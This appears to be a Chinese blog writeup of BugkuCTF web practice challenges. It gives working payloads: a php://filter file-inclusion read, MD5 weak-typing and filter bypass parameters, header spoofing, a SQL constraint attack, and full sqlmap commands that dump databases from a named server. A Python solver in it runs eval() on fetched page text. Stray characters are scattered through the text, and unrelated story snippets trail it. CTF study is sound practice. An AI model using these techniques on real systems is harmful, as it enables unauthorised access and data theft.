2019-03-13 BugkuCTF Writeup之Web(Web4——這是一個神奇的登錄框)

Web4

考察查看網(wǎng)頁源代碼和escape編碼的解碼

提示“看看源代碼吧”,所以看了一下源代碼茁计,發(fā)現(xiàn)一段JavaScript腳本。不過這段腳本好像是錯的,所以直接運行的話運行不了是偷。

把它稍微改一改就可以運行了,運行后得到一段JavaScript代碼亡驰,當(dāng)然也可以選擇不運行晓猛,直接解碼那些內(nèi)容,也可以得到這些代碼凡辱。

這段代碼如下:

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof(a){
         if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
         return 0;
         alert("Error");
         a.focus();
         return 1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit; 

大概意思就是:定義一個函數(shù)checkSubmit戒职,要求傳入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1透乾,就彈框“error”洪燥,如果正確的話應(yīng)該就拿到flag。

關(guān)于這段代碼的含義可以參考一下我的JavaScript筆記乳乌,雖然有些我還沒學(xué)到捧韵,不過大概意思可以看得懂。

在輸入框中輸入“”67d709b2b54aa2aa648cf6e87a7114f1”汉操,得到flag再来。

flag在index里

考察使用PHP內(nèi)部協(xié)議讀取網(wǎng)頁源代碼

打開看到一個鏈接。

點進(jìn)去一看只有test5,但是發(fā)現(xiàn)了“file=show.php”芒篷。

這道題是在做了HGAME2019的week2之后做的搜变。有了做HGAME的經(jīng)驗很容易就知道這是一個文件包含漏洞,可以通過PHP內(nèi)置協(xié)議直接暴露index.php的源代碼针炉。

構(gòu)造?file=php://filter/read=convert.base64-encode/resource=index.php

成功暴露源代碼挠他。

用hackbar插件進(jìn)行BASE64解碼得到flag。

輸入密碼查看flag

考察使用Burp Suite爆破

提示密碼為五位數(shù)字篡帕,所以考慮爆破(題目鏈接也提示了要爆破……)殖侵。

抓包。

設(shè)置Positions和Payloads镰烧。

開始爆破拢军,密碼為13579時返回信息有變化,查看響應(yīng)得到flag拌滋。

點擊一百萬次

考察查看網(wǎng)頁源代碼和POST請求提交數(shù)據(jù)

提示了JavaScript朴沿,打開網(wǎng)頁源代碼果然看到了JavaScript代碼。

大概意思就是當(dāng)clicks大于等于1000000時就會得到flag败砂,所以用hackbar直接post:clicks=1000000赌渣,拿到flag。

備份是個好習(xí)慣

考察.bak文件和代碼審計昌犹。

打開之后只有兩串一樣的MD5坚芜,而且都是空密碼。

卡在這里很久斜姥,后來突然知道了.bak文件鸿竖,于是嘗試打開index.php.bak。

后綴名為bak的文件是備份文件铸敏,修改了原文件的內(nèi)容后缚忧,保存了修改后的內(nèi)容,那么修改前的內(nèi)容會自動保存為后綴名為bak的備份文件(前提是設(shè)置了備份功能)杈笔,如果想查看或者恢復(fù)修改前的內(nèi)容闪水,就需要用到bak文件。
(來自百度知道)

果然有這個文件:

下載下來之后用記事本打開蒙具,發(fā)現(xiàn)一些php代碼:

查看代碼后發(fā)現(xiàn)要求傳入key1和key2兩個參數(shù)球榆,要求值不同而MD5加密后相同。由于只有兩個等號所以考慮用弱類型繞過禁筏。

但是持钉,str_replace('key','',$str)這一句會過濾掉key,所以構(gòu)造一個雙寫來繞過篱昔。

綜合起來Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a

提交一下得到flag每强。

成績單

最基本的SQL注入題,用sqlmap做或者手動都可以。我這里是用了sqlmap空执。

方法是post窘茁,參數(shù)是id。

檢測注入點:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

找到了注入點脆烟,也就是id。

接下來就是按照套路來:

爆庫:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

可以看到有兩個數(shù)據(jù)庫房待,flag應(yīng)該在skctf_flag里邢羔。

爆表:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

flag應(yīng)該在fl4g這個表里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

只有一個字段桑孩,那這個肯定就是flag了拜鹤。

爆字段:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

拿到了flag。

秋名山老司機(jī)

做這道題需要寫具有自動讀取流椒、計算敏簿、自動提交功能的Python腳本。因為需要用正則表達(dá)式匹配算式宣虾,還要有自動請求和自動提交功能惯裕,所以要用到re庫和request庫。

打開刷新幾下會出現(xiàn)這樣的提示绣硝,即要傳入名為value的變量蜻势,value的值如果是答案的話就可以得到flag。

兩秒的話肯定不能手算鹉胖,就用寫腳本的方法來解決握玛。思考了一下寫出來的腳本應(yīng)該有這樣的功能:

1.請求給定的url;2.提取頁面中的文字信息甫菠;3.將文字信息中的算式提取出來挠铲;4.計算這個算式并且得到結(jié)果;5.自動提交結(jié)果寂诱。

而且整個腳本的運行時間不能大于兩秒(雖然Python比C慢拂苹,但是這個一般都沒問題吧……)。

因為算式在<div></div>里刹衫,所以可以直接上正則提取出它們之間的東西醋寝,再去等號和問號變成純算式,再用eval()函數(shù)計算結(jié)果带迟。不用正則的話音羞,用BeautifulSoup也可以。

根據(jù)前面所想的功能編寫腳本:

ps:自己剛學(xué)Python四天仓犬,接觸正則表達(dá)式的時間更短嗅绰,代碼力還不行,寫出來的正則表達(dá)式總是報錯或者匹配不出來,所以正則表達(dá)式提取<div></div>之間的算式那一句參考了別人的寫法窘面,自己只是加上了過濾等號和問號的部分翠语。

import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()     #使用Session參數(shù)是為了防止提交答案時算式更新
r = s.get(url)     #提取頁面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0]     #正則表達(dá)式提取<div></div>之間的算式
result = eval(b)     #計算算式得到結(jié)果
post = {'value': result}     #提交結(jié)果
print(s.post(url, data = post).text)

執(zhí)行腳本之后有一定幾率拿到flag,不知道為什么不可以100%成功财边。

總結(jié):正則表達(dá)式真難……

其余的目前還沒有全部做完肌括,做完了的如下圖所示,沒做完的那些等以后做完再新開一篇文章補(bǔ)上酣难。

never give up

考察view-source查看網(wǎng)頁源代碼和escape編碼的解碼

頁面里沒什么有用的信息谍夭,查看網(wǎng)頁源代碼發(fā)現(xiàn)一條注釋:

訪問了一下這個頁面,發(fā)現(xiàn)跳轉(zhuǎn)到了Bugku的首頁憨募,那么這個1p.html的網(wǎng)頁源代碼里肯定有信息紧索,使用view-source查看即可。

發(fā)現(xiàn)一串編碼過的字符菜谣,下面的unescape()函數(shù)提示這是escape編碼:

這段JS應(yīng)該是可以執(zhí)行的珠漂,不過我還沒試,反正執(zhí)行也是解碼尾膊,就直接解碼了媳危。

解碼,發(fā)現(xiàn)解碼出來的信息里有個f4l2a3g.txt眯停,應(yīng)該就是flag所在的頁面济舆。

這段文字Urldecode之后應(yīng)該還能出現(xiàn)信息,不過訪問了f4l2a3g.txt之后就拿到flag了莺债,也沒想那么多滋觉。

拿到flag。

前女友(SKCTF)

最簡單的PHP弱類型利用

查看網(wǎng)頁源代碼發(fā)現(xiàn)鏈接齐邦,打開鏈接看到代碼椎侠。

要求傳入v1,v2,v3三個參數(shù),其中v1和v2的值不同但MD5加密后的值相同措拇,v3(數(shù)組或字符串)與flag的值不同我纪。

考慮到PHP弱類型:PHP在處理MD5加密后的字符串時,它把每一個以“0e”開頭的值都解釋為0^e(就是0)丐吓,所以如果兩個不同的字符串經(jīng)過MD5加密以后浅悉,都是以“0e”開頭的,那么PHP將會認(rèn)為他們相同券犁。所以構(gòu)造v1=QNKCDZO&v2=240610708&v3[]=1术健,提交得到flag。

login1(SKCTF)

考察基于約束的SQL攻擊粘衬。

在前幾天翻大佬們的博客時看到過這道題的wp荞估,不過當(dāng)時沒仔細(xì)看咳促,結(jié)果剛看完就做到這道題了……

百度了一下“SQL約束攻擊”,讀完這篇文章之后有了解題思路:https://www.freebuf.com/articles/web/124537.html

打開頁面勘伺,如果隨便注冊的話會提示不是admin拿不到flag跪腹。

所以,根據(jù)上面那篇文章中提到的飞醉,為了入侵admin的賬戶冲茸,使用admin加隨意多的空白符注冊即可:

注冊成功后使用剛才注冊的用戶名登錄:

拿到flag:

你從哪里來

考察的是請求頭中Referer參數(shù)的使用。

打開鏈接看到一句話:

本以為是要在請求頭中添加X-Forwarded-For:(谷歌的ip地址)缅帘,但是試過了發(fā)現(xiàn)沒有用噪裕。考慮到請求頭中的Referer參數(shù)的作用是:代表當(dāng)前訪問URL的上一個URL股毫,也就是說,用戶是從什么地方來到本頁面(摘自《Web安全深度剖析》)召衔,使用Hackbar中的Referer功能設(shè)置Referer參數(shù)的值為“https://www.google.com”铃诬,發(fā)送請求得到flag。

md5 collision(NUPT_CTF)

考察利用PHP弱類型繞過md5驗證苍凛。

什么提示也沒有趣席,只有input a,聯(lián)想到題目叫md5碰撞醇蝴,應(yīng)該是利用弱類型繞過md5驗證宣肚。

用QNKCDZO試了下發(fā)現(xiàn)不行。

換了另一個md5加密后0e開頭的悠栓,得到flag霉涨。

程序員本地網(wǎng)站

考察的是請求頭中的X-Forwarded-For參數(shù)。

本地惭适,也就是127.0.0.1笙瑟。

在請求頭中添加“X-Forwarded-For: 127.0.0.1”,發(fā)送請求得到flag癞志。

各種繞過

很基礎(chǔ)的代碼審計往枷,考察數(shù)組繞過sha1()函數(shù)、URL二次解碼繞過

要提交三個參數(shù):uname凄杯、passwd错洁、id。其中uname和id是GET方式提交戒突,passwd是POST方式提交屯碴。要求uname和passwd在sha1()函數(shù)加密后相等,但是這里是用全等于判斷的妖谴,所以不能用弱類型繞過窿锉。

id在urldecode之后要等于margin酌摇,所以需要構(gòu)造一個URL二次解碼繞過。

構(gòu)造如下:

提交一下得到flag嗡载。

細(xì)心

考察查看robots.txt

打開一看發(fā)現(xiàn)一個意義不明的404頁面窑多,于是想到看robots.txt。

打開之后果然有了發(fā)現(xiàn)洼滚。

進(jìn)去一看埂息,說不是管理員,ip被記錄了(而且還把我的ip暴露出來了)遥巴。

同時還發(fā)現(xiàn)底下有一句代碼千康。

提示說想辦法變成admin。一般來說提示不是管理員都是改Cookie铲掐,但是既然底下有這句代碼拾弃,那么就先傳入?x=admin試試。

還真行摆霉,拿到flag了豪椿。

這個頁面里的ip和時間應(yīng)該都是其他師傅的,往下翻了翻還看到了自己的ip和時間携栋,囧玄坦。

而且這個flag居然不是花括號伴嗡,搞得我以為這里有坑痴昧,還要改成花括號或者這就是個假flag痢毒,結(jié)果直接交上去就對了,果然是我想太多了……

這是一個神奇的登陸框

考察SQL注入向挖,用sqlmap輕松搞定蝌以。

進(jìn)去一看是個登錄頁面,而且題目地址也寫了“sql”何之,那應(yīng)該是sql注入饼灿。

隨便寫點什么提交一下,發(fā)現(xiàn)提交方式是post帝美,請求主體是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”

通過前面測試DVWA的漏洞和做一些sql注入題碍彭,我已經(jīng)知道接下來是sqlmap出場的時間了(笑)。

先找一下注入點:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

注入點是admin_name悼潭。

爆庫:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

發(fā)現(xiàn)了兩個數(shù)據(jù)庫庇忌。flag應(yīng)該在第一個數(shù)據(jù)庫里。

爆表:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

有兩個表舰褪。flag應(yīng)該在flag1里皆疹。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns

這應(yīng)該就是flag了。

最后爆字段:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump

這串MD5應(yīng)該就是flag占拍。

加上flag{}格式略就,就得到真正的flag捎迫。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市表牢,隨后出現(xiàn)的幾起案子窄绒,更是在濱河造成了極大的恐慌,老刑警劉巖崔兴,帶你破解...
    沈念sama閱讀 207,113評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件彰导,死亡現(xiàn)場離奇詭異,居然都是意外死亡敲茄,警方通過查閱死者的電腦和手機(jī)位谋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評論 2 381
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來堰燎,“玉大人掏父,你說我怎么就攤上這事「鸭簦” “怎么了损同?”我有些...
    開封第一講書人閱讀 153,340評論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長鸟款。 經(jīng)常有香客問我,道長茂卦,這世上最難降的妖魔是什么何什? 我笑而不...
    開封第一講書人閱讀 55,449評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮等龙,結(jié)果婚禮上处渣,老公的妹妹穿的比我還像新娘。我一直安慰自己蛛砰,他們只是感情好罐栈,可當(dāng)我...
    茶點故事閱讀 64,445評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著泥畅,像睡著了一般荠诬。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上位仁,一...
    開封第一講書人閱讀 49,166評論 1 284
  • 那天柑贞,我揣著相機(jī)與錄音,去河邊找鬼聂抢。 笑死钧嘶,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的琳疏。 我是一名探鬼主播有决,決...
    沈念sama閱讀 38,442評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼闸拿,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了书幕?” 一聲冷哼從身側(cè)響起新荤,我...
    開封第一講書人閱讀 37,105評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎按咒,沒想到半個月后迟隅,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,601評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡励七,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,066評論 2 325
  • 正文 我和宋清朗相戀三年智袭,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片掠抬。...
    茶點故事閱讀 38,161評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡吼野,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出两波,到底是詐尸還是另有隱情瞳步,我是刑警寧澤,帶...
    沈念sama閱讀 33,792評論 4 323
  • 正文 年R本政府宣布腰奋,位于F島的核電站单起,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏劣坊。R本人自食惡果不足惜嘀倒,卻給世界環(huán)境...
    茶點故事閱讀 39,351評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望局冰。 院中可真熱鬧测蘑,春花似錦、人聲如沸康二。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽沫勿。三九已至挨约,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間产雹,已是汗流浹背烫罩。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評論 1 261
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留洽故,地道東北人贝攒。 一個月前我還...
    沈念sama閱讀 45,618評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像时甚,于是被迫代替她去往敵國和親隘弊。 傳聞我的和親對象是個殘疾皇子哈踱,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,916評論 2 344

推薦閱讀更多精彩內(nèi)容